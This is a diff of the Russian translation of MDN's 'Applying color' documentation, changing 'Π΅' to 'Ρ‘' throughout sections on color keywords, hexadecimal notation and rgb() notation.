-<h3 id="Как_ΠΌΠΎΠΆΠ½ΠΎ_Π΅Ρ‰Π΅_ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ_Ρ†Π²Π΅Ρ‚">Как ΠΌΠΎΠΆΠ½ΠΎ Π΅Ρ‰Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ†Π²Π΅Ρ‚</h3>
+<h3 id="Как_ΠΌΠΎΠΆΠ½ΠΎ_Π΅Ρ‰Ρ‘_ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ_Ρ†Π²Π΅Ρ‚">Как ΠΌΠΎΠΆΠ½ΠΎ Π΅Ρ‰Ρ‘ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ†Π²Π΅Ρ‚</h3>
<p>CSS Π½Π΅ СдинствСнная web-тСхнология, которая ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Ρ†Π²Π΅Ρ‚.</p>
@@ -89,7 +89,7 @@ translation_of: Web/HTML/Applying_color
<dd>ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Ρ€Π°ΡΡ‚Ρ€ΠΎΠ²ΡƒΡŽ 2D-Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ Π² элСмСнтС {{HTMLElement("canvas")}}. Π‘ΠΌ.Β <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС.</dd>
<dt><a href="/en-US/docs/Web/SVG">SVG</a> (Scalable Vector Graphics - ΠœΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΡƒΠ΅ΠΌΠ°Ρ ВСкторная Π“Ρ€Π°Ρ„ΠΈΠΊΠ°)</dt>
<dd>
- <p>ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ изобраТСния с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€ΠΈΡΡƒΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Ρ„ΠΈΠ³ΡƒΡ€Ρ‹, ΡƒΠ·ΠΎΡ€Ρ‹, Π»ΠΈΠ½ΠΈΠΈ для создания ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ изобраТСния.Β ΠšΠΎΠΌΠ°Π½Π΄Ρ‹ SVG Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π² XML, ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒΡΡΒ Π½Π΅ΠΏΠΎΡΡ€Π΅Π΄ΡΡ‚Π²Π΅Π½Π½ΠΎ Π½Π° Π²Π΅Π±-страницС, ΠΈΠ»ΠΈ Π² элСмСнтС {{HTMLElement ("img")}}, ΠΊΠ°ΠΊ ΠΈ любоС Π΄Ρ€ΡƒΠ³ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅.</p>
+ <p>ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ изобраТСния с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€ΠΈΡΡƒΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Ρ„ΠΈΠ³ΡƒΡ€Ρ‹, ΡƒΠ·ΠΎΡ€Ρ‹, Π»ΠΈΠ½ΠΈΠΈ для создания ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ изобраТСния.Β ΠšΠΎΠΌΠ°Π½Π΄Ρ‹ SVG Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π² XML, ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒΡΡΒ Π½Π΅ΠΏΠΎΡΡ€Π΅Π΄ΡΡ‚Π²Π΅Π½Π½ΠΎ Π½Π° Π²Π΅Π±-страницС, ΠΈΠ»ΠΈ Π² элСмСнтС {{HTMLElement ("img")}}, ΠΊΠ°ΠΊ ΠΈ любоС Π΄Ρ€ΡƒΠ³ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅.</p>
</dd>
<dt><a href="/en-US/docs/Web/API/WebGL_API">WebGL</a></dt>
<dd>Π‘ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Π’Π΅Π±-Π“Ρ€Π°Ρ„ΠΈΠΊΠΈ (The Web Graphics Library) - это кроссплатформСнный APIΒ Π½Π° основС OpenGL ES, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для создания Π²Ρ‹ΡΠΎΠΊΠΎΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ 2D ΠΈ 3D-Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅.Β Π‘ΠΌ.Β <a href="/en-US/docs/Learn/WebGL">Learn WebGL for 2D and 3D</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ большС..</dd>
@@ -103,7 +103,7 @@ translation_of: Web/HTML/Applying_color
<h3 id="ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅_слова">ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова</h3>
-<p>БущСствуСт Π½Π°Π±ΠΎΡ€ Π½Π°Π·Π²Π°Π½ΠΈΠΉΒ Ρ†Π²Π΅Ρ‚ΠΎΠ² стандартной ΠΏΠ°Π»ΠΈΡ‚Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова вмСсто числового значСния Ρ†Π²Π΅Ρ‚Π°. ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ основныС ΠΈΒ Π²Ρ‚ΠΎΡ€ΠΈΡ‡Π½Ρ‹Π΅ Ρ†Π²Π΅Ρ‚Π° (Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ красный (<code>red</code>), синий (<code>blue</code>), ΠΈΠ»ΠΈ ΠΎΡ€Π°Π½ΠΆΠ΅Π²Ρ‹ΠΉ (<code>orange</code>)), ΠΎΡ‚Ρ‚Π΅Π½ΠΊΠΈ сСрого (ΠΎΡ‚ Ρ‡Π΅Ρ€Π½ΠΎΠ³ΠΎ (<code>black</code>)Β ΠΊ Π±Π΅Π»ΠΎΠΌΡƒ (<code>white</code>), Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Ρ‚Π°ΠΊΠΈΠ΅ Ρ†Π²Π΅Ρ‚Π° ΠΊΠ°ΠΊ тСмносСрый (<code>darkgray</code>) ΠΈΠ»ΠΈ свСтло-сСрый (<code>lightgrey</code>)), Π° Ρ‚Π°ΠΊΠΆΠ΅ мноТСство Π΄Ρ€ΡƒΠ³ΠΈΡ… ΡΠΌΠ΅ΡˆΠ°Π½Π½Ρ‹Ρ… Ρ†Π²Π΅Ρ‚ΠΎΠ²:Β <code>lightseagreen</code>, <code>cornflowerblue</code>, ΠΈΒ <code>rebeccapurple</code>.</p>
+<p>БущСствуСт Π½Π°Π±ΠΎΡ€ Π½Π°Π·Π²Π°Π½ΠΈΠΉΒ Ρ†Π²Π΅Ρ‚ΠΎΠ² стандартной ΠΏΠ°Π»ΠΈΡ‚Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова вмСсто числового значСния Ρ†Π²Π΅Ρ‚Π°. ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ основныС ΠΈΒ Π²Ρ‚ΠΎΡ€ΠΈΡ‡Π½Ρ‹Π΅ Ρ†Π²Π΅Ρ‚Π° (Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ красный (<code>red</code>), синий (<code>blue</code>), ΠΈΠ»ΠΈ ΠΎΡ€Π°Π½ΠΆΠ΅Π²Ρ‹ΠΉ (<code>orange</code>)), ΠΎΡ‚Ρ‚Π΅Π½ΠΊΠΈ сСрого (ΠΎΡ‚ Ρ‡Ρ‘Ρ€Π½ΠΎΠ³ΠΎ (<code>black</code>)Β ΠΊ Π±Π΅Π»ΠΎΠΌΡƒ (<code>white</code>), Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Ρ‚Π°ΠΊΠΈΠ΅ Ρ†Π²Π΅Ρ‚Π° ΠΊΠ°ΠΊ тСмносСрый (<code>darkgray</code>) ΠΈΠ»ΠΈ свСтло-сСрый (<code>lightgrey</code>)), Π° Ρ‚Π°ΠΊΠΆΠ΅ мноТСство Π΄Ρ€ΡƒΠ³ΠΈΡ… ΡΠΌΠ΅ΡˆΠ°Π½Π½Ρ‹Ρ… Ρ†Π²Π΅Ρ‚ΠΎΠ²:Β <code>lightseagreen</code>, <code>cornflowerblue</code>, ΠΈΒ <code>rebeccapurple</code>.</p>
<p>Π‘ΠΌ. {{SectionOnPage("/en-US/docs/Web/CSS/color_value", "Color keywords", "code")}} - ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΠΏΠ΅Ρ€Π΅Ρ‡Π΅Π½ΡŒ всСх доступных ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов.</p>
@@ -113,26 +113,26 @@ translation_of: Web/HTML/Applying_color
<h4 id="ШСстнадцатСричная_запись_Π²_Π²ΠΈΠ΄Π΅_строки">ШСстнадцатСричная запись Π² Π²ΠΈΠ΄Π΅ строки</h4>
-<p>ШСстнадцатСричная запись ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚Β Ρ†Π²Π΅Ρ‚, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Π΅ числа, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ Ρ†Π²Π΅Ρ‚Π° (красный, Π·Π΅Π»Π΅Π½Ρ‹ΠΉ ΠΈ синий). Π—Π°ΠΏΠΈΡΡŒ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚: Π°Π»ΡŒΡ„Π°-ΠΊΠ°Π½Π°Π» (ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ). ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ Ρ†Π²Π΅Ρ‚Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ прСдставлСн ΠΊΠ°ΠΊ число ΠΎΡ‚ 0 Π΄ΠΎ 255Β (0x00 - 0xFF) ΠΈΠ»ΠΈ, ΠΎΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ, ΠΊΠ°ΠΊ число ΠΎΡ‚ 0 Π΄ΠΎ 15 (0x0 - 0xF). ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ <em>Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ</em> Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎΠ΅ количСство чисСл. Π’Π°ΠΊ, Ссли Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΎΠ΄Π½ΠΎΠ·Π½Π°Ρ‡Π½ΠΎΠ΅ число, Ρ‚ΠΎ ΠΈΡ‚ΠΎΠ³ΠΎΠ²Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ рассчитываСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ число ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π° Π΄Π²Π°ΠΆΠ΄Ρ‹:Β <code>"#D"</code> прСвращаСтся Π²Β <code>"#DD"</code>.</p>
+<p>ШСстнадцатСричная запись ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚Β Ρ†Π²Π΅Ρ‚, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Π΅ числа, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ Ρ†Π²Π΅Ρ‚Π° (красный, Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ ΠΈ синий). Π—Π°ΠΏΠΈΡΡŒ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚: Π°Π»ΡŒΡ„Π°-ΠΊΠ°Π½Π°Π» (ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½ΠΎΡΡ‚ΡŒ). ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ Ρ†Π²Π΅Ρ‚Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ прСдставлСн ΠΊΠ°ΠΊ число ΠΎΡ‚ 0 Π΄ΠΎ 255Β (0x00 - 0xFF) ΠΈΠ»ΠΈ, ΠΎΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ, ΠΊΠ°ΠΊ число ΠΎΡ‚ 0 Π΄ΠΎ 15 (0x0 - 0xF). ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ <em>Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ</em> Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎΠ΅ количСство чисСл. Π’Π°ΠΊ, Ссли Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΎΠ΄Π½ΠΎΠ·Π½Π°Ρ‡Π½ΠΎΠ΅ число, Ρ‚ΠΎ ΠΈΡ‚ΠΎΠ³ΠΎΠ²Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ рассчитываСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ число ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π° Π΄Π²Π°ΠΆΠ΄Ρ‹:Β <code>"#D"</code> прСвращаСтся Π²Β <code>"#DD"</code>.</p>
<p>Π¦Π²Π΅Ρ‚ Π² ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠΉΒ Π·Π°ΠΏΠΈΡΠΈ всСгда начинаСтся с символа <code>"#"</code>. ПослС Π½Π΅Π³ΠΎΒ Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ΡΡΒ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Π΅ числа Ρ†Π²Π΅Ρ‚ΠΎΠ²ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°. Π—Π°ΠΏΠΈΡΡŒ Π½Π΅ зависит ΠΎΡ‚ рСгистра.</p>
<dl>
<dt><code>"#rrggbb"</code></dt>
- <dd>Π—Π°Π΄Π°Π΅Ρ‚ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ красного Ρ†Π²Π΅Ρ‚Π° прСдставлСн ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹ΠΌ числом <code>0xrr</code>, Π·Π΅Π»Π΅Π½ΠΎΠ³ΠΎΒ - <code>0xgg</code>Β ΠΈ синСго - <code>0xbb</code>.</dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ красного Ρ†Π²Π΅Ρ‚Π° прСдставлСн ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹ΠΌ числом <code>0xrr</code>, Π·Π΅Π»Ρ‘Π½ΠΎΠ³ΠΎΒ - <code>0xgg</code>Β ΠΈ синСго - <code>0xbb</code>.</dd>
<dt><code>"#rrggbbaa"</code></dt>
- <dd>Π—Π°Π΄Π°Π΅Ρ‚Β Ρ†Π²Π΅Ρ‚, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ красного прСдставлСн ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹ΠΌ числом <code>0xrr</code>, Π·Π΅Π»Π΅Π½ΠΎΠ³ΠΎΒ - <code>0xgg</code>Β ΠΈ синСго - <code>0xbb</code>. ΠΠ»ΡŒΡ„Π° ΠΊΠ°Π½Π°Π» прСдставлСн <code>0xaa</code>; Ρ‡Π΅ΠΌ Π½ΠΈΠΆΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‚Π΅ΠΌ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Π΅Π΅ становится Ρ†Π²Π΅Ρ‚.</dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚Β Ρ†Π²Π΅Ρ‚, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ красного прСдставлСн ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹ΠΌ числом <code>0xrr</code>, Π·Π΅Π»Ρ‘Π½ΠΎΠ³ΠΎΒ - <code>0xgg</code>Β ΠΈ синСго - <code>0xbb</code>. ΠΠ»ΡŒΡ„Π° ΠΊΠ°Π½Π°Π» прСдставлСн <code>0xaa</code>; Ρ‡Π΅ΠΌ Π½ΠΈΠΆΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‚Π΅ΠΌ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Π΅Π΅ становится Ρ†Π²Π΅Ρ‚.</dd>
<dt><code>"#rgb"</code></dt>
- <dd>Π—Π°Π΄Π°Π΅Ρ‚Β Ρ†Π²Π΅Ρ‚, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ красного прСдставлСн ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹ΠΌ числом <code>0xr</code>, Π·Π΅Π»Π΅Π½ΠΎΠ³ΠΎΒ - <code>0xg</code>Β ΠΈ синСго - <code>0xb</code>.</dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚Β Ρ†Π²Π΅Ρ‚, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ красного прСдставлСн ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹ΠΌ числом <code>0xr</code>, Π·Π΅Π»Ρ‘Π½ΠΎΠ³ΠΎΒ - <code>0xg</code>Β ΠΈ синСго - <code>0xb</code>.</dd>
<dt><code>"#rgba"</code></dt>
- <dd>Π—Π°Π΄Π°Π΅Ρ‚Β Ρ†Π²Π΅Ρ‚, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ красного прСдставлСн ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹ΠΌ числом <code>0xr</code>, Π·Π΅Π»Π΅Π½ΠΎΠ³ΠΎΒ - <code>0xg</code>Β ΠΈ синСго - <code>0xb</code>. ΠΠ»ΡŒΡ„Π° ΠΊΠ°Π½Π°Π» прСдставлСн <code>0xa</code>; Ρ‡Π΅ΠΌ Π½ΠΈΠΆΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‚Π΅ΠΌ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Π΅Π΅ становится Ρ†Π²Π΅Ρ‚.</dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚Β Ρ†Π²Π΅Ρ‚, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ красного прСдставлСн ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹ΠΌ числом <code>0xr</code>, Π·Π΅Π»Ρ‘Π½ΠΎΠ³ΠΎΒ - <code>0xg</code>Β ΠΈ синСго - <code>0xb</code>. ΠΠ»ΡŒΡ„Π° ΠΊΠ°Π½Π°Π» прСдставлСн <code>0xa</code>; Ρ‡Π΅ΠΌ Π½ΠΈΠΆΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Ρ‚Π΅ΠΌ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Π΅Π΅ становится Ρ†Π²Π΅Ρ‚.</dd>
</dl>
<p>НапримСр, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π½Π΅ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ ярко-синий цвСт ΠΊΠ°ΠΊΒ <code>"#0000ff"</code> ΠΈΠ»ΠΈΒ <code>"#00f"</code>. Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π΅Π³ΠΎ Π½Π° 25% ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΌ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <code>"#0000ff44"</code> ΠΈΠ»ΠΈΒ <code>"#00f4"</code>.</p>
<h4 id="RGB_запись_Π²_Π²ΠΈΠ΄Π΅_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ">RGB запись Π² Π²ΠΈΠ΄Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</h4>
-<p>RGB запись Π² Π²ΠΈΠ΄Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ,Β ΠΊΠ°ΠΊ ΠΈ ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Π°Ρ запись, прСдставляСт Ρ†Π²Π΅Ρ‚, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ красный, Π·Π΅Π»Π΅Π½Ρ‹ΠΉ ΠΈ синий ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹ (Ρ‚Π°ΠΊΠΆΠ΅, ΠΎΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Β Π°Π»ΡŒΡ„Π° ΠΊΠ°Π½Π°Π»Π° для прозрачности). Но, вмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ± ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ строку, Ρ†Π²Π΅Ρ‚ опрСдСляСтся CSSΒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉΒ {{cssxref("rgb()")}}. Данная функция ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠ°ΠΊ Π²Π²ΠΎΠ΄Π½Ρ‹Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ значСния красного, Π·Π΅Π»Π΅Π½ΠΎΠ³ΠΎ ΠΈ синСго ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² ΠΈ, ΠΎΠΏΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎ, Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚ΠΎΠ³ΠΎΒ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Π° - Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Π»ΡŒΡ„Π° ΠΊΠ°Π½Π°Π»Π°.</p>
